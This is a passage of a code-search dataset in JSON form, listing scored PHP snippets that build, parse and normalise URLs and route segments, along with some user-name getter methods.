$segment;\n}", "title": "" }, { "docid": "a998c17bbe320d0b202ae7aa01014716", "score": "0.5160807", "text": "function crearUrlUnica($nombre) {\r\n $nombreString = explode(' ', $nombre);\r\n $url = implode(\"-\", $nombreString);\r\n $codigo = $this->genCharsNoDup(5);\r\n $url .= \"/\" . $codigo;\r\n return $url;\r\n }", "title": "" }, { "docid": "83e2cab33148ea1ceeb750c48db6e57f", "score": "0.51567036", "text": "public function build_canonical()\n\t{\n\t\t$params = $this->url_parameters;\n\n\t\tif ($this->start)\n\t\t{\n\t\t\t$params[$this->start_name] = $this->start;\n\t\t}\n\t\tif ($this->limit != $this->default_limit)\n\t\t{\n\t\t\t$params[$this->limit_name] = $this->limit;\n\t\t}\n\t\tif ($this->sort_key != $this->default_sort_key)\n\t\t{\n\t\t\t$params[$this->sort_key_name] = $this->sort_key;\n\t\t}\n\t\tif ($this->sort_dir != $this->default_sort_dir)\n\t\t{\n\t\t\t$params[$this->sort_dir_name] = $this->sort_dir;\n\t\t}\n\n\t\treturn $this->path_helper->append_url_params($this->url_location, $params);\n\t}", "title": "" }, { "docid": "cdf1b43d4cae989119775c9c730ffd5e", "score": "0.5146787", "text": "public static function build(array $components): string\n {\n $uri = $components['path'] ?? '';\n if (isset($components['query'])) {\n $uri .= '?'.$components['query'];\n }\n\n if (isset($components['fragment'])) {\n $uri .= '#'.$components['fragment'];\n }\n\n $scheme = null;\n if (isset($components['scheme'])) {\n $scheme = $components['scheme'].':';\n }\n\n $authority = self::buildAuthority($components);\n if (null !== $authority) {\n $authority = '//'.$authority;\n }\n\n return $scheme.$authority.$uri;\n }", "title": "" }, { "docid": "8e5c987729493d93511df2b89569d581", "score": "0.51387453", "text": "function _UriParse() {\n $this->uri = preg_replace('{/+}i', '/', $this->uri);\n $this->uri = preg_replace('{^/}', '', $this->uri);\n $this->uri = preg_replace('{/$}', '', $this->uri);\n $uri_parts = explode( \"/\", $this->uri ); // echo 'uri parts array: '; var_export($uri_parts);die();\n return $uri_parts;\n }", "title": "" }, { "docid": "eafea82a5e42bab9b2e5a42a58415597", "score": "0.5127606", "text": "function url_normalize($spec) {\n\tif (is_string($spec) && substr($spec,0,4)==='http') {\n\t\t$spec = array('path'=>$spec,'external'=>true);\n\t\t$is_url_external = true;\n\t} else {\n\t\t$is_url_external = (is_array($spec) and isset($spec['external'])) ? $spec['external'] : false;\n\t}\n\n\tif (!is_array($spec) or !isset($spec['path'])) { // spec is a simple array or string\n\t\t$spec = array(\n\t\t\t'path' => $spec,\n\t\t\t'query' => array(),\n\t\t\t'hash' => null,\n\t\t\t'external' => false,\n\t\t);\n\t} else {\n\t\tif (!isset($spec['hash'])) {\n\t\t\t$spec['hash'] = null;\n\t\t}\n\t\tif (!isset($spec['query'])) {\n\t\t\t$spec['query'] = array();\n\t\t} \n\t}\n\n\tif (!$is_url_external and !is_array($spec['path'])) { // spec is a simple string\n\t\tif ($spec['path'] and $spec['path'][0] == '!') { // external url\n\t\t\t$is_url_external = true;\n\t\t\t$spec['path'] = substr($spec['path'], 1);\n\t\t} else {\n\t\t\tif (strlen($spec['path']) and $spec['path'][0] == '/') {\n\t\t\t\t$spec['path'] = substr($spec['path'], 1);\n\t\t\t}\n\t\t\t$spec['path'] = explode('/', $spec['path']);\n\t\t\t$spec['path'] = array_map('urldecode', $spec['path']);\n\t\t}\n\t} \n\n\t$spec['external'] = $is_url_external;\n\treturn $spec;\n}", "title": "" }, { "docid": "ed506b2e0b1dced2a78b2b55d6e9fe8e", "score": "0.5122694", "text": "public function getUrl($params)\n {\n $path = $this->path;\n foreach ($params as $k => $v) {\n $path = str_replace(\":$k\", $v, $path);\n }\n return $path;\n }", "title": "" }, { "docid": "a418e7ca6b18bcb8e4cb02baa73cfdfc", "score": "0.512203", "text": "public function generateUrlParamsString(array $params): string\n {\n $paginationParams = [\n 'url' => '',\n 'link' => '',\n 'inactivelink' => '',\n 'hideinactive' => '',\n 'delimiter' => ''\n ];\n\n $urlParams = array_diff_key($params, $paginationParams);\n $paramsStr = http_build_query($urlParams, '', '&amp;');\n\n if (strlen($paramsStr)) {\n $paramsStr = '&amp;' . $paramsStr;\n }\n if (defined('SID') && strlen(SID)) {\n $paramsStr .= '&amp;' . SID;\n }\n\n return $paramsStr;\n }", "title": "" }, { "docid": "bcd9a492a60c26555f50655ff54d8a45", "score": "0.5116345", "text": "public function assemble(array $params, Route $currentRoute = null)\n {\n if (null !== $currentRoute) {\n $params = array_merge($currentRoute->getParams(), $params);\n }\n\n if (empty($this->parts)) {\n $this->parseRoute($this->pattern);\n }\n\n // The built URL will contain ONLY the parameters from the route and not wildcards\n $url = $this->assembleUriParts($this->parts, $params);\n\n // Adding the wildcard parameters\n $wildcardParams = array_diff_key($params, array_flip($this->paramNames));\n if (!empty($wildcardParams)) {\n foreach ($wildcardParams as $name => $value) {\n $url .= '/' . $name . '/' . $value;\n }\n }\n\n return $url;\n }", "title": "" }, { "docid": "7cea0603c72c2276e1405d3cfab7a179", "score": "0.51143736", "text": "public function parse(&$segments)\n\t{\n\t\t/*\n\t\t * Available urls:\n\t\t *\n\t\t * projects\n\t\t * {project}\n\t\t * {project}/issues\n\t\t * {project}/{issue}\n\t\t * {project}/{issue}/edit\n\t\t * comment/edit/{comment}\n\t\t * comments\n\t\t*/\n\n\t\t$query = array(\n\t\t\t'option' => 'com_monitor',\n\t\t);\n\n\t\tif (empty($query['Itemid']))\n\t\t{\n\t\t\t$menuItem = $this->menu->getActive();\n\t\t}\n\t\telse\n\t\t{\n\t\t\t$menuItem = $this->menu->getItem($query['Itemid']);\n\t\t}\n\n\t\tif (empty(array_filter($segments)))\n\t\t{\n\t\t\treturn $menuItem->query;\n\t\t}\n\n\t\t$menuQuery = ($menuItem !== null && $menuItem->query['option'] === self::COMPONENT) ? $menuItem->query : null;\n\t\tself::convertTaskToView($menuQuery);\n\n\t\t$menuView = (isset($menuQuery['view'])) ? $menuQuery['view'] : null;\n\n\t\tif ($segments[0] == 'projects')\n\t\t{\n\t\t\t$query['view'] = 'projects';\n\t\t}\n\t\telseif ($segments[0] == 'issues')\n\t\t{\n\t\t\t$query['view'] = 'issues';\n\n\t\t\tif ($menuView == 'project' && isset($menuQuery['id']))\n\t\t\t{\n\t\t\t\t$query['project_id'] = $menuQuery['id'];\n\t\t\t}\n\t\t}\n\t\telseif ($segments[0] == 'comment')\n\t\t{\n\t\t\t$query['view'] = 'comment';\n\t\t\t$query['layout'] = ($segments[1] === 'delete') ? 'delete' : 'edit';\n\n\t\t\tif (isset($segments[1]) && $segments[1] == 'new' && is_numeric($segments[2]))\n\t\t\t{\n\t\t\t\t$query['issue_id'] = $segments[2];\n\t\t\t}\n\t\t\telseif (is_numeric($segments[2]))\n\t\t\t{\n\t\t\t\t$query['id'] = $segments[2];\n\t\t\t}\n\t\t}\n\t\telseif ($segments[0] == 'comments')\n\t\t{\n\t\t\t$query['view'] = 'comments';\n\t\t}\n\t\t// {issue}\n\t\telseif (is_numeric($segments[0]))\n\t\t{\n\t\t\t$query['view'] = 'issue';\n\t\t\t$query['id'] = $segments[0];\n\n\t\t\tif (isset($segments[1]) && $segments[1] === 'edit')\n\t\t\t{\n\t\t\t\t$query['layout'] = 'edit';\n\t\t\t}\n\t\t}\n\t\t// /edit\n\t\telseif ($segments[0] === 'edit' || $segments[0] === 'new')\n\t\t{\n\t\t\t$query['layout'] = 'edit';\n\n\t\t\tif ($menuView === 'comment')\n\t\t\t{\n\t\t\t\t$query['view'] = 'comment';\n\n\t\t\t\tif (is_numeric($segments[1]))\n\t\t\t\t{\n\t\t\t\t\tif ($segments[0] === 'new')\n\t\t\t\t\t{\n\t\t\t\t\t\t$query['issue_id'] = $segments[1];\n\t\t\t\t\t}\n\t\t\t\t\telse\n\t\t\t\t\t{\n\t\t\t\t\t\t$query['id'] = $segments[1];\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\t$query['view'] = 'issue';\n\n\t\t\t\tif ($segments[0] === 'new')\n\t\t\t\t{\n\t\t\t\t\tif (isset($menuQuery['id']))\n\t\t\t\t\t{\n\t\t\t\t\t\t$query['project_id'] = $menuQuery['id'];\n\t\t\t\t\t}\n\t\t\t\t\telseif (isset($menuQuery['project_id']))\n\t\t\t\t\t{\n\t\t\t\t\t\t$query['project_id'] = $menuQuery['project_id'];\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t{\n\t\t\t\t\tif (isset($menuQuery['id']))\n\t\t\t\t\t{\n\t\t\t\t\t\t$query['id'] = $menuQuery['id'];\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\telse\n\t\t{\n\t\t\t// {project}\n\t\t\tif (!isset($segments[1]))\n\t\t\t{\n\t\t\t\t$id = $this->modelProject->resolveAlias($segments[0]);\n\n\t\t\t\t$query['view'] = 'project';\n\t\t\t\t$query['id'] = $id;\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\t// {project}/issues\n\t\t\t\tif ($segments[1] === 'issues')\n\t\t\t\t{\n\t\t\t\t\t$id = $this->modelProject->resolveAlias($segments[0]);\n\n\t\t\t\t\t$query['view'] = 'issues';\n\t\t\t\t\t$query['project_id'] = $id;\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t{\n\t\t\t\t\t$query['view'] = 'issue';\n\n\t\t\t\t\t// {project}/new\n\t\t\t\t\tif ($segments[1] === 'new')\n\t\t\t\t\t{\n\t\t\t\t\t\t$id = $this->modelProject->resolveAlias($segments[0]);\n\n\t\t\t\t\t\t$query['layout'] = 'edit';\n\t\t\t\t\t\t$query['project_id'] = $id;\n\t\t\t\t\t}\n\t\t\t\t\t// {project}/{issue}\n\t\t\t\t\telseif (is_numeric($segments[1]))\n\t\t\t\t\t{\n\t\t\t\t\t\t$query['id'] = $segments[1];\n\n\t\t\t\t\t\t// {project}/{issue}/edit\n\t\t\t\t\t\tif (isset($segments[2]) && $segments[2] == 'edit')\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t$query['layout'] = 'edit';\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\treturn $query;\n\t}", "title": "" }, { "docid": "f109175b97ebe2d5e204e0aa737fba6f", "score": "0.51102144", "text": "function get_url () {\n global $Config;\n if (func_num_args() > 0) {\n $pieces = func_get_args();\n return $Config['BaseURL'] . '/' . implode('/', $pieces);\n } elseif ($Config['BaseURL'] == \"\" || $Config['BaseURL'] == \"/index.php\") {\n return \"/\";\n } else {\n return $Config['BaseURL'];\n }\n}", "title": "" }, { "docid": "e2b8094b80c6c28bd0c6da360329c5e3", "score": "0.5098143", "text": "function returnCompleteUrl($urlPart)\n{\n $urlPart = trim($urlPart);\n if (!preg_match('#^[a-z]+://#', $urlPart)) {\n $protocol = (!empty($_SERVER['REQUEST_SCHEME']) && $_SERVER['REQUEST_SCHEME'] == 'https') ? 'https' : 'http';\n $protocol .= '://';\n if (!preg_match('#^www#', $urlPart)) {\n $protocol .= $_SERVER['HTTP_HOST'];\n if (!preg_match('#^/#', $urlPart)) {\n $protocol .= '/';\n }\n }\n $urlPart = $protocol.$urlPart;\n }\n return $urlPart;\n}", "title": "" }, { "docid": "49fbcbcc52b712ec52c6f56de323021c", "score": "0.508193", "text": "public static function glue_url($parsed) {\n if (!is_array($parsed)) {\n return false;\n }\n\n $uri = isset($parsed['scheme']) ? $parsed['scheme'] . ':' . ((strtolower($parsed['scheme']) == 'mailto') ? '' : '//') : '';\n $uri .= isset($parsed['user']) ? $parsed['user'] . (isset($parsed['pass']) ? ':' . $parsed['pass'] : '') . '@' : '';\n $uri .= isset($parsed['host']) ? $parsed['host'] : '';\n $uri .= isset($parsed['port']) ? ':' . $parsed['port'] : '';\n\n if (isset($parsed['path'])) {\n $uri .= ( substr($parsed['path'], 0, 1) == '/') ?\n $parsed['path'] : ((!empty($uri) ? '/' : '' ) . $parsed['path']);\n }\n\n $uri .= isset($parsed['query']) ? '?' . $parsed['query'] : '';\n $uri .= isset($parsed['fragment']) ? '#' . $parsed['fragment'] : '';\n\n return $uri;\n }", "title": "" }, { "docid": "1139b70c71d772ff51b0056370ab1e85", "score": "0.5074019", "text": "function buildURL($host, $sport, $method, $id, $format, $parameters)\n{\n $ary = array($sport, $method, $id);\n $path = join('/', preg_grep('/^$/', $ary, PREG_GREP_INVERT));\n $url = 'https://' . $host . '/' . $path . '.' . $format;\n\n // Check for parameters and create parameter string\n if (!empty($parameters)) {\n $paramlist = array();\n foreach ($parameters as $key => $value) {\n array_push($paramlist, rawurlencode($key) . '=' . rawurlencode($value));\n }\n $paramstring .= join('&', $paramlist);\n if (!empty($paramlist)) { $url .= \"?\" . $paramstring; }\n }\n return $url;\n}", "title": "" }, { "docid": "d61bc132f87668f148970a88f7e28cd6", "score": "0.50736284", "text": "protected function buildRoute(array &$params)\n\t{\n\t\t$pathRules = explode('/', $this->path);\n\t\t$segments = array();\n\n\t\tforeach ($pathRules as $rule)\n\t\t{\n\t\t\t$rule = trim($rule);\n\n\t\t\tif (substr($rule, 0, 1) == ':')\n\t\t\t{\n\t\t\t\t// Init\n\t\t\t\t$rule = substr($rule, 1);\n\t\t\t\t$isArray = false;\n\t\t\t\t$isOptional = false;\n\n\t\t\t\t// Is this an array or optional variable?\n\t\t\t\t$lastChar = substr($rule, -1);\n\t\t\t\tif ($lastChar == '*')\n\t\t\t\t{\n\t\t\t\t\t$isArray = true;\n\t\t\t\t}\n\t\t\t\telseif ($lastChar == '?')\n\t\t\t\t{\n\t\t\t\t\t$isOptional = true;\n\t\t\t\t}\n\n\t\t\t\tif ($isArray || $isOptional)\n\t\t\t\t{\n\t\t\t\t\t$rule = substr($rule, 0, -1);\n\t\t\t\t}\n\n\t\t\t\t// What happens if this variable doesn't exist in my variables list?\n\t\t\t\tif (!isset($params[$rule]))\n\t\t\t\t{\n\t\t\t\t\t// If it's optional, skip it\n\t\t\t\t\tif ($isOptional)\n\t\t\t\t\t{\n\t\t\t\t\t\tcontinue;\n\t\t\t\t\t}\n\t\t\t\t\t// If it's not optional return null, meaning that we can't parse this routing rule\n\t\t\t\t\telse\n\t\t\t\t\t{\n\t\t\t\t\t\treturn null;\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\t// Get the value\n\t\t\t\t$value = $params[$rule];\n\n\t\t\t\t// Make sure the type is right\n\t\t\t\tif ($isArray && !is_array($value))\n\t\t\t\t{\n\t\t\t\t\tif (is_object($value))\n\t\t\t\t\t{\n\t\t\t\t\t\t$value = (array)$value;\n\t\t\t\t\t}\n\t\t\t\t\telse\n\t\t\t\t\t{\n\t\t\t\t\t\t$value = array($value);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\telseif (!$isArray && (is_array($value)))\n\t\t\t\t{\n\t\t\t\t\t$value = array_shift($value);\n\t\t\t\t}\n\t\t\t\telseif (!$isArray && (is_object($value)))\n\t\t\t\t{\n\t\t\t\t\t$value = (array)$value;\n\t\t\t\t\t$value = array_shift($value);\n\t\t\t\t}\n\n\t\t\t\t// Push the value of the variable to the segments\n\t\t\t\tif (!$isArray)\n\t\t\t\t{\n\t\t\t\t\t$segments[] = (string)$value;\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t{\n\t\t\t\t\tforeach ($value as $v)\n\t\t\t\t\t{\n\t\t\t\t\t\t$segments[] = (string)$v;\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\t// Finally, unset the variable\n\t\t\t\tunset ($params[$rule]);\n\t\t\t}\n\t\t\telseif ($rule == '*')\n\t\t\t{\n\t\t\t\t// Lone star rules are ignored during route building\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\t// Static string, append verbose\n\t\t\t\t$segments[] = $rule;\n\t\t\t}\n\t\t}\n\n\t\treturn $segments;\n\t}", "title": "" }, { "docid": "e24033ca77fb63c847755f76b0436b07", "score": "0.50566137", "text": "protected static function segments($uri)\n {\n static::$segments = array_diff(explode('/', trim($uri, '/')), ['']);\n }", "title": "" }, { "docid": "12721edff1f21109b28e0ac4fb32df1a", "score": "0.5055666", "text": "public function parseUrl()\n\t{\n\t\tif (isset($_GET['url']))\n\t\t{\n\t\t\treturn explode('/', filter_var( rtrim($_GET['url'], '/'), FILTER_SANITIZE_URL) );\n\t\t}\n\t}", "title": "" }, { "docid": "889707e471c1a53bc96686def46e7322", "score": "0.50500286", "text": "public function getEvaluatedUrl()\n {\n $segments = array();\n\n // If the URL is just an hash, don't do shit\n if (!$this->item or $this->isSpecialUrl()) {\n return $this->url;\n }\n\n // Prepend list prefix\n $listPrefix = $this->item->getList()->getOption('item_list.prefix');\n if (!is_null($listPrefix)) {\n $segments[] = $listPrefix;\n }\n\n // Prepend parent item prefix\n $prefixParents = $this->item->getList()->getOption('item_list.prefix_parents');\n if ($prefixParents) {\n $segments += $this->get_parent_item_urls();\n }\n\n // Prepend handler prefix\n $prefixHandler = $this->item->getList()->getOption('item_list.prefix_handler');\n if ($prefixHandler) {\n $segments[] = $this->get_handler_segment();\n }\n\n $segments[] = $this->url;\n\n return implode('/', $segments);\n }", "title": "" }, { "docid": "1a18fd10513dc4f4854db95c1a2beccc", "score": "0.5046506", "text": "function foo_uri(Foo $foo) {\n return array(\n 'path' => 'foo/' . $foo->foo_id,\n );\n}", "title": "" }, { "docid": "6a9abb7a7fdcfeeb68d68aded374f619", "score": "0.50440365", "text": "public function getUrl(array $params = []): string;", "title": "" }, { "docid": "d3c4d34595d6ab673f0ddd5af52c43b1", "score": "0.50325817", "text": "protected function urlize($params)\n {\n $string = \"\";\n foreach ($params as $key => $value) {\n $string .= $key . '=' . urlencode(trim($value)) . '&';\n }\n return rtrim($string, \"& \");\n }", "title": "" }, { "docid": "b4929a814e15de3b03e4f5fb2ceed95c", "score": "0.5027668", "text": "abstract public function getDynamicUrl($incompleteUrl);", "title": "" }, { "docid": "44e60d520d410ab1def1d64546075e9b", "score": "0.50254786", "text": "public function mkUrl($baseurl, $shortby, $toshort){\n\n\t\t// define the default url\n\t\t$result['count'] = $baseurl . \"shortby=count&toshort=desc\";\n\t\t$result['mthcount'] = $baseurl . \"shortby=mthcount&toshort=desc\";\n\t\t$result['daycount'] = $baseurl . \"shortby=daycount&toshort=desc\";\n\n\n\t\tif($toshort == \"desc\"){\n\t\t\t$result[$shortby] = $baseurl . \"shortby=\".$shortby.\"&toshort=asc\";\n\t\t}\n\n\t\treturn $result;\n\t}", "title": "" }, { "docid": "5745c1ed97f6c8dcfba1ea03a5e5fe80", "score": "0.5025111", "text": "abstract public function generateRoutes();", "title": "" }, { "docid": "3f69026c1f8a7ff9333aaff5f3b9c145", "score": "0.50231117", "text": "function ComtestParseRoute(&$segments)\n{\n\t$return = array();\n\tforeach ($segments as $segment)\n\t{\n\t\tlist($key, $var) = explode(':', $segment, 2);\n\t\t$return[$key] = $var;\n\t}\n\n\treturn $return;\n}", "title": "" }, { "docid": "95b413caa65d657bbffeb4bae9efa327", "score": "0.50213253", "text": "public function segments();", "title": "" }, { "docid": "b520244144a7e6f7961d69f73a06b9bf", "score": "0.50190777", "text": "static public function url($actions, $params = array()) {\n $args = func_get_args();\n $params = is_array(end($args)) ? array_pop($args) : array();\n $actions = is_array(reset($args)) ? array_shift($args) : $args;\n\n $url = '/'. implode('/', $actions);\n if ($params) $url .= '?'. http_build_query($params);\n return $url;\n }", "title": "" }, { "docid": "a207dea939eb426a2f3ee442f98c0123", "score": "0.5008826", "text": "private static function buildRawURL($params, $complete)\n {\n $invalidContent = (empty($params['id']) or empty(THM_GroupsHelperContent::getAlias($params['id'])));\n if ($params['view'] === 'content' AND $invalidContent) {\n $params['view'] = 'profile';\n }\n\n $query = ['option' => 'com_thm_groups', 'view' => $params['view'], 'profileID' => $params['profileID']];\n if ($query['view'] === 'content') {\n $query['id'] = $params['id'];\n } elseif ($query['view'] === 'profile' AND !empty($params['format'])) {\n $query['format'] = $params['format'];\n }\n\n return $complete ? URI::base() . '?' . http_build_query($query) : $query;\n }", "title": "" }, { "docid": "b20e493206bfbe926937df6022179a93", "score": "0.50068957", "text": "protected function buildUrlFromBase($url, $separator = '?', $params = [])\n {\n \treturn $url . $separator . http_build_query($params, '', '&', $this->encodingType);\n }", "title": "" }, { "docid": "61a307d29c090447ce7576c5cb7bc0c3", "score": "0.50049394", "text": "private function constructUrl($url)\n {\n return rtrim($this->getApiUrl(), '/') . '/' . ltrim($url, '/');\n }", "title": "" }, { "docid": "5f7d15cdbdb9aa4a588c39cbbb0dbc0f", "score": "0.49957925", "text": "private function parseUri()\n\t{\n\t\t// Set page to 1 initially\n\t\t$page = 1;\n\n\t\t// Get the uri parts\n\t\t$uriParts = parse_url($_SERVER['REQUEST_URI']);\n\n\t\t// Get the uri segments\n\t\t$uriSegments = explode('/', ltrim($uriParts['path'], '/'));\n\n\t\t$startingSegment = false;\n\n\t\t// Loop through to find a .php segment\n\t\tforeach ($uriSegments as $key => $val) {\n\t\t\tif (strpos($val, '.php')) {\n\t\t\t\t$startingSegment = $key;\n\n\t\t\t\tbreak;\n\t\t\t}\n\t\t}\n\n\t\t// Remove any segment before and up to $startingSegment\n\t\tif ($startingSegment !== false) {\n\t\t\tforeach ($uriSegments as $key => $val) {\n\t\t\t\tunset($uriSegments[$key]);\n\n\t\t\t\tif ($key === $startingSegment) {\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\t$segCount = count($uriSegments);\n\n\t\t// Check for pagination\n\t\tif (\n\t\t\tcount($uriSegments) > 1 and\n\t\t\tctype_digit($uriSegments[$segCount - 1]) and\n\t\t\t(int) $uriSegments[$segCount - 1] > 1 and\n\t\t\t$uriSegments[$segCount - 2] === 'page'\n\t\t) {\n\t\t\t$page = (int) $uriSegments[$segCount - 1];\n\t\t\tunset($uriSegments[$segCount - 1]);\n\t\t\tunset($uriSegments[$segCount - 2]);\n\t\t}\n\n\t\treturn [\n\t\t\t'raw' => $uriParts['path'],\n\t\t\t'segments' => array_values($uriSegments),\n\t\t\t'path' => implode('/', $uriSegments),\n\t\t\t'query' => isset($uriParts['query']) ? $uriParts['query'] : false,\n\t\t\t'page' => $page\n\t\t];\n\t}", "title": "" }, { "docid": "dae71ec71ea1018de7c1acd351a12354", "score": "0.498772", "text": "function getUrl($location = '')\r\n {\r\n return $this->base . implode('/', func_get_args());\r\n }", "title": "" }, { "docid": "907c5f8d96247340d33c417c9b4829ec", "score": "0.49746174", "text": "function get_segments()\n{\n\t$sn = $_SERVER['SCRIPT_NAME'];\n\t$ru = $_SERVER['REQUEST_URI'];\n\n\t// Get the equivalent to path info\n\t$pi = (isset($_SERVER['PATH_INFO']))\n\t\t? str_replace($sn, '', $ru)\n\t\t: '/';\n\n\t// Correct for being in a sub-directory\n\tif (strlen($sn) > strlen($ru))\n\t{\n\t\t$pi = '/';\n\t}\n\n\treturn explode('/', $pi);\n}", "title": "" }, { "docid": "3cb3321b895303fb3ce2639b5c23fe03", "score": "0.49743912", "text": "public static function arrayToUrl(array $strings)\n {\n foreach ($strings as $key => $string) {\n $strings[$key] = self::toUrl($string);\n }\n $string = '/' . implode('/', $strings);\n return $string;\n }", "title": "" }, { "docid": "bcec25f7c58d132e51b4f1012c6805f4", "score": "0.49696526", "text": "function uri ($nr=0) {\n\treturn isset($GLOBALS['S_URI_PARTS'][$nr]) ? $GLOBALS['S_URI_PARTS'][$nr] : '';\n}", "title": "" }, { "docid": "a191c0a7863bbde6e36f46522f1f7a9c", "score": "0.49630964", "text": "public function parseURL()\n {\n if( isset($_GET['url']) ) {\n $url = rtrim($_GET['url'], '/');\n $url = filter_var($url, FILTER_SANITIZE_URL);\n $url = explode('/', $url);\n return $url;\n };\n }", "title": "" }, { "docid": "808274086b86984dce4f16e1bb5634c5", "score": "0.49607876", "text": "function KetshopParseRoute($segments)\r\n{\r\n $app = JFactory::getApplication();\r\n $router = new KetshopRouter($app, $app->getMenu());\r\n\r\n return $router->parse($segments);\r\n}", "title": "" }, { "docid": "1f62f62a490916dcc3d1fb3842b88367", "score": "0.4957699", "text": "public function buildURL()\n {\n $url = '';\n if (isset($this->value['host'])) {\n if (isset($this->value['scheme'])) {\n $url .= sprintf('%s://', $this->value['scheme']);\n }\n $url .= $this->value['host'];\n if (isset($this->value['port'])) {\n $url .= sprintf(':%s', $this->value['port']);\n }\n }\n\n if (isset($this->value['path'])) {\n $url .= $this->value['path'];\n }\n if (isset($this->value['query'])) {\n $url .= sprintf('?%s', $this->value['query']);\n }\n if (isset($this->value['fragment'])) {\n $url .= sprintf('#%s', $this->value['fragment']);\n }\n return new GACString($url);\n }", "title": "" }, { "docid": "a232d27a10b160136d3c78994e7be197", "score": "0.49571863", "text": "private function _append_uri_params () {\n $request_uri = explode('/', $this->uri());\n $resource_uri = explode('/', $this->_uri);\n $request = array_combine($resource_uri, array_pad($request_uri, count($resource_uri), null));\n foreach ($request as $key => $val) {\n if ($key === $val) {\n continue;\n }\n // TODO check if enough to remove the first { and last }\n $this->_request[substr($key, 1, -1)] = $val;\n }\n }", "title": "" }, { "docid": "ddc24797443422a96c866639201c9ec4", "score": "0.49555016", "text": "static public function buildUrl( $hostname, $controller, array $actions = array(), array $params = array() )\n\t{\n\t\t$url = Urls::getUrl( $hostname ) . '/';\n\t\t$callback = function( $a ) { return urlencode( $a ); };\n\n\t\t$actions = array_map($callback, $actions );\n\t\tarray_unshift( $actions, Urls::getUrl( $controller ) );\n\t\t$url .= implode( self::$url_definition['context_separator'], $actions );\n\n\t\tif ( array() !== $params )\n\t\t{\n\t\t\t$url .= self::$url_definition['params_separator'];\n\t\t}\n\t\t$url .= implode( self::$url_definition['params_separator'], $params );\n\n\t\treturn $url;\n\t}", "title": "" }, { "docid": "c214fb749f126917c6e7c44e7e0450b2", "score": "0.49488068", "text": "function url_segment($segment = false){\n if($segment == false) return false;\n $uri_path = parse_url($_SERVER['REQUEST_URI'], PHP_URL_PATH);\n $uri_segments = explode('/', $uri_path);\n return $uri_segments[$segment];\n}", "title": "" }, { "docid": "c64e55235a27d0b30c1bd8c932c069a4", "score": "0.49463537", "text": "function _ull_reqpass_build_url($params) {\n \n // module\n $url = $params['module'];\n unset($params['module']);\n\n // action\n $url .= '/' . $params['action'];\n unset($params['action']);\n\n // check if any params left...\n if ($params) \n { \n $addition = '?';\n foreach($params as $paramName => $paramValue) \n {\n // move array (first layer at the moment) to \"[]\" syntax \n if (is_array($paramValue))\n {\n foreach ($paramValue as $key => $value)\n {\n $key = $paramName . '[' . $key . ']';\n $url .= $addition . $key . '=' . $value;\n $addition = '&';\n }\n }\n else \n {\n $url .= $addition . $paramName . '=' . $paramValue;\n $addition = '&';\n }\n }\n }\n\n return $url;\n}", "title": "" }, { "docid": "5ec3b0c681b7fd4316befee56c1c1fde", "score": "0.49434742", "text": "public function getUrlSegments() {\n\t\treturn $this->url_segments;\n\t}", "title": "" }, { "docid": "a4081efecb8f445f421fb1aaed50163a", "score": "0.49411294", "text": "public function processUrl()\n {\n if(filter_var($this->url, FILTER_VALIDATE_URL) && preg_match(self::REGEX, $this->url)) {\n $this->isValid = true;\n $urlPaths = parse_url($this->url);\n\n foreach (['scheme', 'host', 'path', 'port', 'query'] as $path) {\n if (isset($urlPaths[$path])) {\n $this->$path .= $urlPaths[$path];\n }\n }\n }\n }", "title": "" } ]
575809520bb52fed9651bb2fd53ccd83
Returns the username of the logged in user
[ { "docid": "90c6cb458ba42a7b83e7b2658a576950", "score": "0.0", "text": "function GetUsername ()\n {\n $this->username = isset( $_SESSION [ \"username\" ] ) ? sanitize_string( $_SESSION [ \"username\" ] ) : null;\n if ( !$this->username ) {\n $this->username = isset( $_COOKIE [ \"username\" ] ) ? sanitize_string( $_COOKIE [ \"username\" ] ) : null;\n }\n return $this->username;\n }", "title": "" } ]
[ { "docid": "98a939cf657942a7597dc91a6bc36312", "score": "0.85457873", "text": "public static function user()\n {\n if (isset($_SESSION['LOGGED_IN_USER'])){\n return $username;\n }\n }", "title": "" }, { "docid": "af4b4f57b96c590698ac1c20cbbe1ef2", "score": "0.84422296", "text": "public function getUsername() {\n return $this->user->username;\n }", "title": "" }, { "docid": "8d8afcf2529d423fbade2cf6216e6304", "score": "0.8425759", "text": "public function getUserName()\r\n {\r\n return $this->user->username;\r\n }", "title": "" }, { "docid": "fd8df689a44d86594886ab291872c470", "score": "0.8276363", "text": "public function getUserUsername () {\n\t\treturn ($this->userUsername);\n\t}", "title": "" }, { "docid": "e95e4d1c4de871b22afb9f34823eb09f", "score": "0.8266739", "text": "public function getUsername()\n {\n return $this->getLogin();\n }", "title": "" }, { "docid": "209fc6d5571c013c4e94e401c2925270", "score": "0.8240851", "text": "public function getUsername()\n {\n return $this->getUserIdentifier();\n }", "title": "" }, { "docid": "77f6319dd5ed373ff6e557af23e2a3d4", "score": "0.8218413", "text": "public function getUsername() {\n // TODO: Implement getUsername() method.\n return $this->getLogin();\n }", "title": "" }, { "docid": "dfd479afaff9574ef3e3a50edbee3307", "score": "0.81537163", "text": "public function getUserName()\n {\n return $this->user->name;\n }", "title": "" }, { "docid": "67ddcbee3d20e769b5092c2aa933a28b", "score": "0.81435794", "text": "public function getUsername()\n {\n return $this->login;\n }", "title": "" }, { "docid": "67ddcbee3d20e769b5092c2aa933a28b", "score": "0.81435794", "text": "public function getUsername()\n {\n return $this->login;\n }", "title": "" }, { "docid": "26de243233c102aa36cdfa3a2a5fa0fd", "score": "0.81424505", "text": "public function getUserName() {\n\t\treturn ($this->userName);\n\t}", "title": "" }, { "docid": "22cb3eca7128efcc403eefd3edb80605", "score": "0.8139697", "text": "public function getUsername(): string\n 